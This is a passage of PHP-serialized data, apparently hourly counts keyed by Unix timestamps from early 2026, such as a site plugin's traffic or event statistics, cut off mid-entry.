{i:0;i:6;}i:1767625200;a:1:{i:0;i:6;}i:1767628800;a:1:{i:0;i:2;}i:1767632400;a:1:{i:0;i:4;}i:1767636000;a:1:{i:0;i:2;}i:1767639600;a:1:{i:0;i:2;}i:1767643200;a:1:{i:0;i:5;}i:1767646800;a:1:{i:0;i:6;}i:1767650400;a:1:{i:0;i:4;}i:1767654000;a:1:{i:0;i:1;}i:1767657600;a:1:{i:0;i:3;}i:1767661200;a:1:{i:0;i:3;}i:1767664800;a:1:{i:0;i:5;}i:1767668400;a:1:{i:0;i:2;}i:1767672000;a:1:{i:0;i:2;}i:1767675600;a:1:{i:0;i:2;}i:1767679200;a:1:{i:0;i:4;}i:1767682800;a:1:{i:0;i:3;}i:1767686400;a:1:{i:0;i:3;}i:1767690000;a:1:{i:0;i:3;}i:1767693600;a:1:{i:0;i:2;}i:1767697200;a:1:{i:0;i:3;}i:1767700800;a:1:{i:0;i:6;}i:1767704400;a:1:{i:0;i:2;}i:1767708000;a:1:{i:0;i:5;}i:1767711600;a:1:{i:0;i:4;}i:1767715200;a:1:{i:0;i:2;}i:1767718800;a:1:{i:0;i:12;}i:1767722400;a:1:{i:0;i:2;}i:1767726000;a:1:{i:0;i:3;}i:1767729600;a:1:{i:0;i:1;}i:1767733200;a:1:{i:0;i:4;}i:1767736800;a:1:{i:0;i:3;}i:1767740400;a:1:{i:0;i:3;}i:1767744000;a:1:{i:0;i:2;}i:1767747600;a:1:{i:0;i:2;}i:1767751200;a:1:{i:0;i:1;}i:1767754800;a:1:{i:0;i:2;}i:1767758400;a:1:{i:0;i:2;}i:1767762000;a:1:{i:0;i:1;}i:1767765600;a:1:{i:0;i:2;}i:1767769200;a:1:{i:0;i:3;}i:1767772800;a:1:{i:0;i:2;}i:1767776400;a:1:{i:0;i:4;}i:1767780000;a:1:{i:0;i:2;}i:1767783600;a:1:{i:0;i:1;}i:1767787200;a:1:{i:0;i:2;}i:1767790800;a:1:{i:0;i:6;}i:1767794400;a:1:{i:0;i:5;}i:1767798000;a:1:{i:0;i:2;}i:1767801600;a:1:{i:0;i:1;}i:1767805200;a:1:{i:0;i:5;}i:1767808800;a:1:{i:0;i:7;}i:1767816000;a:1:{i:0;i:3;}i:1767819600;a:1:{i:0;i:2;}i:1767823200;a:1:{i:0;i:1;}i:1767826800;a:1:{i:0;i:2;}i:1767830400;a:1:{i:0;i:2;}i:1767834000;a:1:{i:0;i:3;}i:1767837600;a:1:{i:0;i:2;}i:1767841200;a:1:{i:0;i:2;}i:1767844800;a:1:{i:0;i:2;}i:1767848400;a:1:{i:0;i:3;}i:1767852000;a:1:{i:0;i:2;}i:1767859200;a:1:{i:0;i:2;}i:1767862800;a:1:{i:0;i:4;}i:1767870000;a:1:{i:0;i:2;}i:1767873600;a:1:{i:0;i:1;}i:1767877200;a:1:{i:0;i:4;}i:1767880800;a:1:{i:0;i:7;}i:1767884400;a:1:{i:0;i:2;}i:1767888000;a:1:{i:0;i:4;}i:1767895200;a:1:{i:0;i:3;}i:1767898800;a:1:{i:0;i:5;}i:1767902400;a:1:{i:0;i:2;}i:1767906000;a:1:{i:0;i:3;}i:1767913200;a:1:{i:0;i:4;}i:1767916800;a:1:{i:0;i:7;}i:1767920400;a:1:{i:0;i:3;}i:1767924000;a:1:{i:0;i:5;}i:1767927600;a:1:{i:0;i:1;}i:1767931200;a:1:{i:0;i:4;}i:1767934800;a:1:{i:0;i:4;}i:1767938400;a:1:{i:0;i:2;}i:1767942000;a:1:{i:0;i:3;}i:1767945600;a:1:{i:0;i:5;}i:1767949200;a:1:{i:0;i:6;}i:1767952800;a:1:{i:0;i:2;}i:1767956400;a:1:{i:0;i:4;}i:1767960000;a:1:{i:0;i:3;}i:1767963600;a:1:{i:0;i:25;}i:1767967200;a:1:{i:0;i:3;}i:1767970800;a:1:{i:0;i:4;}i:1767974400;a:1:{i:0;i:6;}i:1767978000;a:1:{i:0;i:3;}i:1767981600;a:1:{i:0;i:24;}i:1767985200;a:1:{i:0;i:5;}i:1767988800;a:1:{i:0;i:2;}i:1767992400;a:1:{i:0;i:21;}i:1767996000;a:1:{i:0;i:3;}i:1767999600;a:1:{i:0;i:3;}i:1768003200;a:1:{i:0;i:1;}i:1768006800;a:1:{i:0;i:3;}i:1768010400;a:1:{i:0;i:19;}i:1768014000;a:1:{i:0;i:4;}i:1768017600;a:1:{i:0;i:3;}i:1768021200;a:1:{i:0;i:24;}i:1768024800;a:1:{i:0;i:4;}i:1768028400;a:1:{i:0;i:4;}i:1768032000;a:1:{i:0;i:3;}i:1768035600;a:1:{i:0;i:3;}i:1768039200;a:1:{i:0;i:29;}i:1768046400;a:1:{i:0;i:2;}i:1768050000;a:1:{i:0;i:26;}i:1768053600;a:1:{i:0;i:1;}i:1768057200;a:1:{i:0;i:2;}i:1768060800;a:1:{i:0;i:3;}i:1768064400;a:1:{i:0;i:1;}i:1768068000;a:1:{i:0;i:2;}i:1768071600;a:1:{i:0;i:2;}i:1768075200;a:1:{i:0;i:2;}i:1768078800;a:1:{i:0;i:1;}i:1768082400;a:1:{i:0;i:1;}i:1768086000;a:1:{i:0;i:2;}i:1768089600;a:1:{i:0;i:2;}i:1768093200;a:1:{i:0;i:2;}i:1768096800;a:1:{i:0;i:2;}i:1768100400;a:1:{i:0;i:2;}i:1768104000;a:1:{i:0;i:4;}i:1768107600;a:1:{i:0;i:2;}i:1768111200;a:1:{i:0;i:5;}i:1768114800;a:1:{i:0;i:2;}i:1768122000;a:1:{i:0;i:2;}i:1768125600;a:1:{i:0;i:5;}i:1768129200;a:1:{i:0;i:3;}i:1768132800;a:1:{i:0;i:3;}i:1768136400;a:1:{i:0;i:2;}i:1768140000;a:1:{i:0;i:3;}i:1768143600;a:1:{i:0;i:3;}i:1768147200;a:1:{i:0;i:3;}i:1768150800;a:1:{i:0;i:3;}i:1768154400;a:1:{i:0;i:3;}i:1768158000;a:1:{i:0;i:6;}i:1768161600;a:1:{i:0;i:2;}i:1768165200;a:1:{i:0;i:2;}i:1768168800;a:1:{i:0;i:1;}i:1768172400;a:1:{i:0;i:2;}i:1768176000;a:1:{i:0;i:3;}i:1768179600;a:1:{i:0;i:2;}i:1768183200;a:1:{i:0;i:1;}i:1768186800;a:1:{i:0;i:1;}i:1768190400;a:1:{i:0;i:2;}i:1768197600;a:1:{i:0;i:3;}i:1768201200;a:1:{i:0;i:7;}i:1768204800;a:1:{i:0;i:5;}i:1768208400;a:1:{i:0;i:1;}i:1768212000;a:1:{i:0;i:4;}i:1768215600;a:1:{i:0;i:4;}i:1768219200;a:1:{i:0;i:29;}i:1768222800;a:1:{i:0;i:4;}i:1768226400;a:1:{i:0;i:4;}i:1768230000;a:1:{i:0;i:1;}i:1768233600;a:1:{i:0;i:5;}i:1768237200;a:1:{i:0;i:3;}i:1768240800;a:1:{i:0;i:5;}i:1768244400;a:1:{i:0;i:1;}i:1768248000;a:1:{i:0;i:16;}i:1768251600;a:1:{i:0;i:2;}i:1768255200;a:1:{i:0;i:2;}i:1768258800;a:1:{i:0;i:3;}i:1768262400;a:1:{i:0;i:2;}i:1768266000;a:1:{i:0;i:2;}i:1768269600;a:1:{i:0;i:8;}i:1768273200;a:1:{i:0;i:6;}i:1768276800;a:1:{i:0;i:34;}i:1768280400;a:1:{i:0;i:6;}i:1768284000;a:1:{i:0;i:4;}i:1768287600;a:1:{i:0;i:3;}i:1768291200;a:1:{i:0;i:4;}i:1768294800;a:1:{i:0;i:4;}i:1768298400;a:1:{i:0;i:4;}i:1768302000;a:1:{i:0;i:6;}i:1768305600;a:1:{i:0;i:5;}i:1768309200;a:1:{i:0;i:4;}i:1768312800;a:1:{i:0;i:3;}i:1768316400;a:1:{i:0;i:7;}i:1768320000;a:1:{i:0;i:7;}i:1768323600;a:1:{i:0;i:8;}i:1768327200;a:1:{i:0;i:5;}i:1768330800;a:1:{i:0;i:5;}i:1768334400;a:1:{i:0;i:7;}i:1768338000;a:1:{i:0;i:5;}i:1768341600;a:1:{i:0;i:6;}i:1768345200;a:1:{i:0;i:4;}i:1768348800;a:1:{i:0;i:2;}i:1768352400;a:1:{i:0;i:4;}i:1768356000;a:1:{i:0;i:8;}i:1768359600;a:1:{i:0;i:6;}i:1768363200;a:1:{i:0;i:2;}i:1768366800;a:1:{i:0;i:6;}i:1768377600;a:1:{i:0;i:5;}i:1768381200;a:1:{i:0;i:4;}i:1768384800;a:1:{i:0;i:7;}i:1768388400;a:1:{i:0;i:4;}i:1768392000;a:1:{i:0;i:5;}i:1768395600;a:1:{i:0;i:5;}i:1768399200;a:1:{i:0;i:1;}i:1768402800;a:1:{i:0;i:2;}i:1768406400;a:1:{i:0;i:4;}i:1768410000;a:1:{i:0;i:4;}i:1768413600;a:1:{i:0;i:1;}i:1768417200;a:1:{i:0;i:5;}i:1768420800;a:1:{i:0;i:1;}i:1768424400;a:1:{i:0;i:2;}i:1768428000;a:1:{i:0;i:4;}i:1768431600;a:1:{i:0;i:6;}i:1768435200;a:1:{i:0;i:4;}i:1768438800;a:1:{i:0;i:6;}i:1768442400;a:1:{i:0;i:13;}i:1768446000;a:1:{i:0;i:1;}i:1768449600;a:1:{i:0;i:4;}i:1768453200;a:1:{i:0;i:5;}i:1768456800;a:1:{i:0;i:4;}i:1768460400;a:1:{i:0;i:7;}i:1768464000;a:1:{i:0;i:3;}i:1768467600;a:1:{i:0;i:3;}i:1768471200;a:1:{i:0;i:1;}i:1768474800;a:1:{i:0;i:7;}i:1768478400;a:1:{i:0;i:1;}i:1768482000;a:1:{i:0;i:2;}i:1768485600;a:1:{i:0;i:1;}i:1768489200;a:1:{i:0;i:5;}i:1768492800;a:1:{i:0;i:6;}i:1768496400;a:1:{i:0;i:1;}i:1768500000;a:1:{i:0;i:2;}i:1768503600;a:1:{i:0;i:1;}i:1768507200;a:1:{i:0;i:3;}i:1768510800;a:1:{i:0;i:5;}i:1768514400;a:1:{i:0;i:2;}i:1768518000;a:1:{i:0;i:2;}i:1768521600;a:1:{i:0;i:1;}i:1768525200;a:1:{i:0;i:3;}i:1768528800;a:1:{i:0;i:3;}i:1768532400;a:1:{i:0;i:4;}i:1768536000;a:1:{i:0;i:3;}i:1768539600;a:1:{i:0;i:2;}i:1768543200;a:1:{i:0;i:8;}i:1768546800;a:1:{i:0;i:5;}i:1768550400;a:1:{i:0;i:3;}i:1768554000;a:1:{i:0;i:2;}i:1768557600;a:1:{i:0;i:3;}i:1768561200;a:1:{i:0;i:3;}i:1768564800;a:1:{i:0;i:2;}i:1768568400;a:1:{i:0;i:4;}i:1768572000;a:1:{i:0;i:1;}i:1768575600;a:1:{i:0;i:1;}i:1768579200;a:1:{i:0;i:1;}i:1768582800;a:1:{i:0;i:1;}i:1768586400;a:1:{i:0;i:3;}i:1768590000;a:1:{i:0;i:6;}i:1768593600;a:1:{i:0;i:8;}i:1768597200;a:1:{i:0;i:1;}i:1768600800;a:1:{i:0;i:1;}i:1768604400;a:1:{i:0;i:4;}i:1768608000;a:1:{i:0;i:1;}i:1768611600;a:1:{i:0;i:3;}i:1768615200;a:1:{i:0;i:1;}i:1768618800;a:1:{i:0;i:1;}i:1768622400;a:1:{i:0;i:2;}i:1768626000;a:1:{i:0;i:1;}i:1768629600;a:1:{i:0;i:2;}i:1768636800;a:1:{i:0;i:2;}i:1768640400;a:1:{i:0;i:4;}i:1768644000;a:1:{i:0;i:2;}i:1768647600;a:1:{i:0;i:2;}i:1768651200;a:1:{i:0;i:1;}i:1768654800;a:1:{i:0;i:1;}i:1768658400;a:1:{i:0;i:1;}i:1768662000;a:1:{i:0;i:7;}i:1768665600;a:1:{i:0;i:2;}i:1768669200;a:1:{i:0;i:1;}i:1768672800;a:1:{i:0;i:2;}i:1768676400;a:1:{i:0;i:1;}i:1768680000;a:1:{i:0;i:4;}i:1768683600;a:1:{i:0;i:5;}i:1768687200;a:1:{i:0;i:1;}i:1768690800;a:1:{i:0;i:1;}i:1768694400;a:1:{i:0;i:2;}i:1768698000;a:1:{i:0;i:1;}i:1768705200;a:1:{i:0;i:2;}i:1768708800;a:1:{i:0;i:2;}i:1768712400;a:1:{i:0;i:3;}i:1768716000;a:1:{i:0;i:1;}i:1768719600;a:1:{i:0;i:1;}i:1768723200;a:1:{i:0;i:6;}i:1768726800;a:1:{i:0;i:2;}i:1768730400;a:1:{i:0;i:2;}i:1768734000;a:1:{i:0;i:11;}i:1768737600;a:1:{i:0;i:3;}i:1768741200;a:1:{i:0;i:8;}i:1768744800;a:1:{i:0;i:7;}i:1768748400;a:1:{i:0;i:6;}i:1768752000;a:1:{i:0;i:4;}i:1768755600;a:1:{i:0;i:7;}i:1768759200;a:1:{i:0;i:8;}i:1768762800;a:1:{i:0;i:6;}i:1768766400;a:1:{i:0;i:4;}i:1768770000;a:1:{i:0;i:3;}i:1768773600;a:1:{i:0;i:2;}i:1768777200;a:1:{i:0;i:3;}i:1768780800;a:1:{i:0;i:6;}i:1768784400;a:1:{i:0;i:5;}i:1768788000;a:1:{i:0;i:21;}i:1768791600;a:1:{i:0;i:6;}i:1768795200;a:1:{i:0;i:6;}i:1768798800;a:1:{i:0;i:8;}i:1768802400;a:1:{i:0;i:31;}i:1768806000;a:1:{i:0;i:9;}i:1768809600;a:1:{i:0;i:5;}i:1768813200;a:1:{i:0;i:34;}i:1768816800;a:1:{i:0;i:2;}i:1768820400;a:1:{i:0;i:2;}i:1768824000;a:1:{i:0;i:5;}i:1768827600;a:1:{i:0;i:5;}i:1768831200;a:1:{i:0;i:27;}i:1768834800;a:1:{i:0;i:1;}i:1768838400;a:1:{i:0;i:2;}i:1768842000;a:1:{i:0;i:2;}i:1768845600;a:1:{i:0;i:4;}i:1768849200;a:1:{i:0;i:2;}i:1768852800;a:1:{i:0;i:1;}i:1768856400;a:1:{i:0;i:2;}i:1768860000;a:1:{i:0;i:4;}i:1768863600;a:1:{i:0;i:6;}i:1768867200;a:1:{i:0;i:7;}i:1768870800;a:1:{i:0;i:31;}i:1768874400;a:1:{i:0;i:3;}i:1768878000;a:1:{i:0;i:5;}i:1768881600;a:1:{i:0;i:5;}i:1768885200;a:1:{i:0;i:33;}i:1768888800;a:1:{i:0;i:3;}i:1768892400;a:1:{i:0;i:1;}i:1768896000;a:1:{i:0;i:4;}i:1768899600;a:1:{i:0;i:7;}i:1768910400;a:1:{i:0;i:3;}i:1768914000;a:1:{i:0;i:1;}i:1768917600;a:1:{i:0;i:8;}i:1768924800;a:1:{i:0;i:6;}i:1768928400;a:1:{i:0;i:11;}i:1768932000;a:1:{i:0;i:3;}i:1768935600;a:1:{i:0;i:1;}i:1768950000;a:1:{i:0;i:2;}i:1768953600;a:1:{i:0;i:3;}i:1768964400;a:1:{i:0;i:1;}i:1768968000;a:1:{i:0;i:2;}i:1768971600;a:1:{i:0;i:2;}i:1768982400;a:1:{i:0;i:25;}i:1768986000;a:1:{i:0;i:1;}i:1768989600;a:1:{i:0;i:1;}i:1768993200;a:1:{i:0;i:1;}i:1769014800;a:1:{i:0;i:3;}i:1769018400;a:1:{i:0;i:14;}i:1769022000;a:1:{i:0;i:12;}i:1769036400;a:1:{i:0;i:6;}i:1769040000;a:1:{i:0;i:12;}i:1769043600;a:1:{i:0;i:37;}i:1769050800;a:1:{i:0;i:5;}i:1769058000;a:1:{i:0;i:1;}i:1769068800;a:1:{i:0;i:1;}i:1769076000;a:1:{i:0;i:6;}i:1769079600;a:1:{i:0;i:6;}i:1769083200;a:1:{i:0;i:1;}i:1769086800;a:1:{i:0;i:18;}i:1769094000;a:1:{i:0;i:5;}i:1769097600;a:1:{i:0;i:1;}i:1769104800;a:1:{i:0;i:1;}i:1769119200;a:1:{i:0;i:21;}i:1769122800;a:1:{i:0;i:2;}i:1769133600;a:1:{i:0;i:2;}i:1769148000;a:1:{i:0;i:2;}i:1769169600;a:1:{i:0;i:2;}i:1769212800;a:1:{i:0;i:1;}i:1769223600;a:1:{i:0;i:1;}i:1769234400;a:1:{i:0;i:2;}i:1769241600;a:1:{i:0;i:2;}i:1769263200;a:1:{i:0;i:2;}i:1769266800;a:1:{i:0;i:3;}i:1769277600;a:1:{i:0;i:2;}i:1769281200;a:1:{i:0;i:4;}i:1769284800;a:1:{i:0;i:3;}i:1769295600;a:1:{i:0;i:4;}i:1769299200;a:1:{i:0;i:9;}i:1769320800;a:1:{i:0;i:2;}i:1769331600;a:1:{i:0;i:3;}i:1769346000;a:1:{i:0;i:6;}i:1769349600;a:1:{i:0;i:4;}i:1769353200;a:1:{i:0;i:3;}i:1769356800;a:1:{i:0;i:3;}i:1769360400;a:1:{i:0;i:2;}i:1769364000;a:1:{i:0;i:3;}i:1769367600;a:1:{i:0;i:8;}i:1769371200;a:1:{i:0;i:14;}i:1769374800;a:1:{i:0;i:4;}i:1769378400;a:1:{i:0;i:3;}i:1769382000;a:1:{i:0;i:1;}i:1769385600;a:1:{i:0;i:5;}i:1769389200;a:1:{i:0;i:5;}i:1769392800;a:1:{i:0;i:2;}i:1769396400;a:1:{i:0;i:6;}i:1769400000;a:1:{i:0;i:4;}i:1769403600;a:1:{i:0;i:1;}i:1769407200;a:1:{i:0;i:2;}i:1769414400;a:1:{i:0;i:7;}i:1769418000;a:1:{i:0;i:2;}i:1769421600;a:1:{i:0;i:3;}i:1769425200;a:1:{i:0;i:1;}i:1769432400;a:1:{i:0;i:2;}i:1769436000;a:1:{i:0;i:4;}i:1769446800;a:1:{i:0;i:4;}i:1769450400;a:1:{i:0;i:1;}i:1769461200;a:1:{i:0;i:60;}i:1769464800;a:1:{i:0;i:117;}i:1769468400;a:1:{i:0;i:4;}i:1769472000;a:1:{i:0;i:1;}i:1769475600;a:1:{i:0;i:1;}i:1769479200;a:1:{i:0;i:2;}i:1769482800;a:1:{i:0;i:15;}i:1769486400;a:1:{i:0;i:3;}i:1769490000;a:1:{i:0;i:1;}i:1769493600;a:1:{i:0;i:2;}i:1769497200;a:1:{i:0;i:3;}i:1769500800;a:1:{i:0;i:6;}i:1769504400;a:1:{i:0;i:2;}i:1769508000;a:1:{i:0;i:1;}i:1769511600;a:1:{i:0;i:3;}i:1769515200;a:1:{i:0;i:5;}i:1769518800;a:1:{i:0;i:2;}i:1769522400;a:1:{i:0;i:2;}i:1769526000;a:1:{i:0;i:1;}i:1769529600;a:1:{i:0;i:2;}i:1769533200;a:1:{i:0;i:1;}i:1769536800;a:1:{i:0;i:2;}i:1769540400;a:1:{i:0;i:3;}i:1769544000;a:1:{i:0;i:1;}i:1769547600;a:1:{i:0;i:3;}i:1769551200;a:1:{i:0;i:1;}i:1769554800;a:1:{i:0;i:1;}i:1769558400;a:1:{i:0;i:2;}i:1769562000;a:1:{i:0;i:7;}i:1769565600;a:1:{i:0;i:6;}i:1769569200;a:1:{i:0;i:1;}i:1769572800;a:1:{i:0;i:6;}i:1769576400;a:1:{i:0;i:2;}i:1769580000;a:1:{i:0;i:1;}i:1769583600;a:1:{i:0;i:6;}i:1769587200;a:1:{i:0;i:5;}i:1769590800;a:1:{i:0;i:3;}i:1769594400;a:1:{i:0;i:3;}i:1769598000;a:1:{i:0;i:3;}i:1769601600;a:1:{i:0;i:1;}i:1769605200;a:1:{i:0;i:3;}i:1769608800;a:1:{i:0;i:3;}i:1769612400;a:1:{i:0;i:2;}i:1769616000;a:1:{i:0;i:3;}i:1769619600;a:1:{i:0;i:6;}i:1769623200;a:1:{i:0;i:1;}i:1769630400;a:1:{i:0;i:2;}i:1769634000;a:1:{i:0;i:5;}i:1769637600;a:1:{i:0;i:4;}i:1769641200;a:1:{i:0;i:2;}i:1769644800;a:1:{i:0;i:1;}i:1769648400;a:1:{i:0;i:2;}i:1769652000;a:1:{i:0;i:5;}i:1769655600;a:1:{i:0;i:3;}i:1769659200;a:1:{i:0;i:5;}i:1769662800;a:1:{i:0;i:1;}i:1769670000;a:1:{i:0;i:2;}i:1769673600;a:1:{i:0;i:4;}i:1769680800;a:1:{i:0;i:1;}i:1769688000;a:1:{i:0;i:2;}i:1769691600;a:1:{i:0;i:2;}i:1769698800;a:1:{i:0;i:9;}i:1769702400;a:1:{i:0;i:1;}i:1769709600;a:1:{i:0;i:2;}i:1769716800;a:1:{i:0;i:6;}i:1769720400;a:1:{i:0;i:1;}i:1769724000;a:1:{i:0;i:4;}i:1769727600;a:1:{i:0;i:3;}i:1769731200;a:1:{i:0;i:2;}i:1769734800;a:1:{i:0;i:2;}i:1769738400;a:1:{i:0;i:1;}i:1769742000;a:1:{i:0;i:6;}i:1769745600;a:1:{i:0;i:1;}i:1769749200;a:1:{i:0;i:5;}i:1769752800;a:1:{i:0;i:2;}i:1769756400;a:1:{i:0;i:1;}i:1769760000;a:1:{i:0;i:3;}i:1769767200;a:1:{i:0;i:1;}i:1769770800;a:1:{i:0;i:3;}i:1769774400;a:1:{i:0;i:1;}i:1769778000;a:1:{i:0;i:1;}i:1769781600;a:1:{i:0;i:4;}i:1769788800;a:1:{i:0;i:3;}i:1769792400;a:1:{i:0;i:1;}i:1769796000;a:1:{i:0;i:1;}i:1769803200;a:1:{i:0;i:7;}i:1769806800;a:1:{i:0;i:1;}i:1769810400;a:1:{i:0;i:5;}i:1769814000;a:1:{i:0;i:5;}i:1769817600;a:1:{i:0;i:4;}i:1769824800;a:1:{i:0;i:7;}i:1769828400;a:1:{i:0;i:7;}i:1769832000;a:1:{i:0;i:2;}i:1769835600;a:1:{i:0;i:5;}i:1769839200;a:1:{i:0;i:3;}i:1769842800;a:1:{i:0;i:1;}i:1769853600;a:1:{i:0;i:6;}i:1769857200;a:1:{i:0;i:4;}i:1769860800;a:1:{i:0;i:1;}i:1769864400;a:1:{i:0;i:6;}i:1769868000;a:1:{i:0;i:6;}i:1769871600;a:1:{i:0;i:4;}i:1769875200;a:1:{i:0;i:6;}i:1769878800;a:1:{i:0;i:4;}i:1769882400;a:1:{i:0;i:5;}i:1769886000;a:1:{i:0;i:4;}i:1769889600;a:1:{i:0;i:3;}i:1769893200;a:1:{i:0;i:9;}i:1769896800;a:1:{i:0;i:10;}i:1769900400;a:1:{i:0;i:6;}i:1769904000;a:1:{i:0;i:5;}i:1769907600;a:1:{i:0;i:10;}i:1769911200;a:1:{i:0;i:7;}i:1769914800;a:1:{i:0;i:9;}i:1769918400;a:1:{i:0;i:12;}i:1769922000;a:1:{i:0;i:10;}i:1769925600;a:1:{i:0;i:1;}i:1769929200;a:1:{i:0;i:5;}i:1769932800;a:1:{i:0;i:11;}i:1769936400;a:1:{i:0;i:19;}i:1769940000;a:1:{i:0;i:14;}i:1769943600;a:1:{i:0;i:18;}i:1769947200;a:1:{i:0;i:8;}i:1769950800;a:1:{i:0;i:8;}i:1769954400;a:1:{i:0;i:11;}i:1769958000;a:1:{i:0;i:4;}i:1769961600;a:1:{i:0;i:11;}i:1769965200;a:1:{i:0;i:10;}i:1769968800;a:1:{i:0;i:10;}i:1769972400;a:1:{i:0;i:4;}i:1769976000;a:1:{i:0;i:4;}i:1769979600;a:1:{i:0;i:7;}i:1769983200;a:1:{i:0;i:6;}i:1769986800;a:1:{i:0;i:18;}i:1769990400;a:1:{i:0;i:13;}i:1769994000;a:1:{i:0;i:6;}i:1769997600;a:1:{i:0;i:2;}i:1770001200;a:1:{i:0;i:6;}i:1770004800;a:1:{i:0;i:11;}i:1770008400;a:1:{i:0;i:5;}i:1770012000;a:1:{i:0;i:4;}i:1770015600;a:1:{i:0;i:4;}i:1770019200;a:1:{i:0;i:1;}i:1770022800;a:1:{i:0;i:4;}i:1770037200;a:1:{i:0;i:1;}i:1770048000;a:1:{i:0;i:2;}i:1770058800;a:1:{i:0;i:1;}i:1770062400;a:1:{i:0;i:6;}i:1770066000;a:1:{i:0;i:1;}i:1770069600;a:1:{i:0;i:6;}i:1770076800;a:1:{i:0;i:1;}i:1770080400;a:1:{i:0;i:9;}i:1770084000;a:1:{i:0;i:5;}i:1770087600;a:1:{i:0;i:1;}i:1770091200;a:1:{i:0;i:2;}i:1770094800;a:1:{i:0;i:4;}i:1770098400;a:1:{i:0;i:1;}i:1770102000;a:1:{i:0;i:2;}i:1770105600;a:1:{i:0;i:1;}i:1770109200;a:1:{i:0;i:5;}i:1770112800;a:1:{i:0;i:1;}i:1770120000;a:1:{i:0;i:1;}i:1770134400;a:1:{i:0;i:1;}i:1770145200;a:1:{i:0;i:1;}i:1770156000;a:1:{i:0;i:3;}i:1770163200;a:1:{i:0;i:2;}i:1770166800;a:1:{i:0;i:2;}i:1770170400;a:1:{i:0;i:5;}i:1770174000;a:1:{i:0;i:2;}i:1770177600;a:1:{i:0;i:49;}i:1770181200;a:1:{i:0;i:49;}i:1770184800;a:1:{i:0;i:2;}i:1770188400;a:1:{i:0;i:3;}i:1770192000;a:1:{i:0;i:1;}i:1770195600;a:1:{i:0;i:3;}i:1770199200;a:1:{i:0;i:2;}i:1770202800;a:1:{i:0;i:3;}i:1770206400;a:1:{i:0;i:1;}i:1770210000;a:1:{i:0;i:4;}i:1770213600;a:1:{i:0;i:2;}i:1770224400;a:1:{i:0;i:4;}i:1770231600;a:1:{i:0;i:2;}i:1770235200;a:1:{i:0;i:1;}i:1770242400;a:1:{i:0;i:1;}i:1770246000;a:1:{i:0;i:5;}i:1770249600;a:1:{i:0;i:3;}i:1770253200;a:1:{i:0;i:4;}i:1770256800;a:1:{i:0;i:5;}i:1770260400;a:1:{i:0;i:3;}i:1770264000;a:1:{i:0;i:3;}i:1770267600;a:1:{i:0;i:7;}i:1770271200;a:1:{i:0;i:4;}i:1770274800;a:1:{i:0;i:6;}i:1770278400;a:1:{i:0;i:8;}i:1770282000;a:1:{i:0;i:5;}i:1770285600;a:1:{i:0;i:5;}i:1770289200;a:1:{i:0;i:6;}i:1770292800;a:1:{i:0;i:10;}i:1770296400;a:1:{i:0;i:3;}i:1770300000;a:1:{i:0;i:6;}i:1770303600;a:1:{i:0;i:9;}i:1770307200;a:1:{i:0;i:5;}i:1770310800;a:1:{i:0;i:7;}i:1770314400;a:1:{i:0;i:6;}i:1770318000;a:1:{i:0;i:6;}i:1770321600;a:1:{i:0;i:8;}i:1770325200;a:1:{i:0;i:2;}i:1770328800;a:1:{i:0;i:3;}i:1770332400;a:1:{i:0;i:7;}i:1770336000;a:1:{i:0;i:5;}i:1770339600;a:1:{i:0;i:4;}i:1770343200;a:1:{i:0;i:7;}i:1770346800;a:1:{i:0;i:3;}i:1770350400;a:1:{i:0;i:8;}i:1770354000;a:1:{i:0;i:3;}i:1770357600;a:1:{i:0;i:6;}i:1770361200;a:1:{i:0;i:3;}i:1770364800;a:1:{i:0;i:3;}i:1770368400;a:1:{i:0;i:5;}i:1770372000;a:1:{i:0;i:2;}i:1770375600;a:1:{i:0;i:3;}i:1770379200;a:1:{i:0;i:4;}i:1770382800;a:1:{i:0;i:7;}i:1770386400;a:1:{i:0;i:4;}i:1770390000;a:1:{i:0;i:9;}i:1770393600;a:1:{i:0;i:11;}i:1770397200;a:1:{i:0;i:13;}i:1770400800;a:1:{i:0;i:5;}i:1770404400;a:1:{i:0;i:3;}i:1770408000;a:1:{i:0;i:6;}i:1770411600;a:1:{i:0;i:5;}i:1770415200;a:1:{i:0;i:5;}i:1770418800;a:1:{i:0;i:3;}i:1770422400;a:1:{i:0;i:4;}i:1770426000;a:1:{i:0;i:8;}i:1770429600;a:1:{i:0;i:5;}i:1770433200;a:1:{i:0;i:4;}i:1770436800;a:1:{i:0;i:3;}i:1770440400;a:1:{i:0;i:3;}i:1770444000;a:1:{i:0;i:2;}i:1770447600;a:1:{i:0;i:5;}i:1770451200;a:1:{i:0;i:5;}i:1770454800;a:1:{i:0;i:4;}i:1770458400;a:1:{i:0;i:4;}i:1770462000;a:1:{i:0;i:7;}i:1770465600;a:1:{i:0;i:5;}i:1770469200;a:1:{i:0;i:7;}i:1770472800;a:1:{i:0;i:6;}i:1770476400;a:1:{i:0;i:7;}i:1770480000;a:1:{i:0;i:4;}i:1770483600;a:1:{i:0;i:2;}i:1770487200;a:1:{i:0;i:8;}i:1770490800;a:1:{i:0;i:6;}i:1770494400;a:1:{i:0;i:8;}i:1770498000;a:1:{i:0;i:6;}i:1770501600;a:1:{i:0;i:5;}i:1770505200;a:1:{i:0;i:9;}i:1770508800;a:1:{i:0;i:3;}i:1770512400;a:1:{i:0;i:6;}i:1770516000;a:1:{i:0;i:8;}i:1770519600;a:1:{i:0;i:6;}i:1770523200;a:1:{i:0;i:5;}i:1770526800;a:1:{i:0;i:8;}i:1770530400;a:1:{i:0;i:5;}i:1770534000;a:1:{i:0;i:8;}i:1770537600;a:1:{i:0;i:2;}i:1770541200;a:1:{i:0;i:6;}i:1770544800;a:1:{i:0;i:5;}i:1770548400;a:1:{i:0;i:6;}i:1770552000;a:1:{i:0;i:4;}i:1770555600;a:1:{i:0;i:5;}i:1770559200;a:1:{i:0;i:6;}i:1770562800;a:1:{i:0;i:6;}i:1770566400;a:1:{i:0;i:4;}i:1770570000;a:1:{i:0;i:2;}i:1770573600;a:1:{i:0;i:4;}i:1770577200;a:1:{i:0;i:2;}i:1770580800;a:1:{i:0;i:6;}i:1770584400;a:1:{i:0;i:2;}i:1770588000;a:1:{i:0;i:4;}i:1770591600;a:1:{i:0;i:3;}i:1770595200;a:1:{i:0;i:5;}i:1770598800;a:1:{i:0;i:3;}i:1770602400;a:1:{i:0;i:4;}i:1770606000;a:1:{i:0;i:6;}i:1770609600;a:1:{i:0;i:7;}i:1770613200;a:1:{i:0;i:6;}i:1770616800;a:1:{i:0;i:7;}i:1770620400;a:1:{i:0;i:4;}i:1770624000;a:1:{i:0;i:4;}i:1770627600;a:1:{i:0;i:5;}i:1770631200;a:1:{i:0;i:6;}i:1770634800;a:1:{i:0;i:3;}i:1770638400;a:1:{i:0;i:5;}i:1770642000;a:1:{i:0;i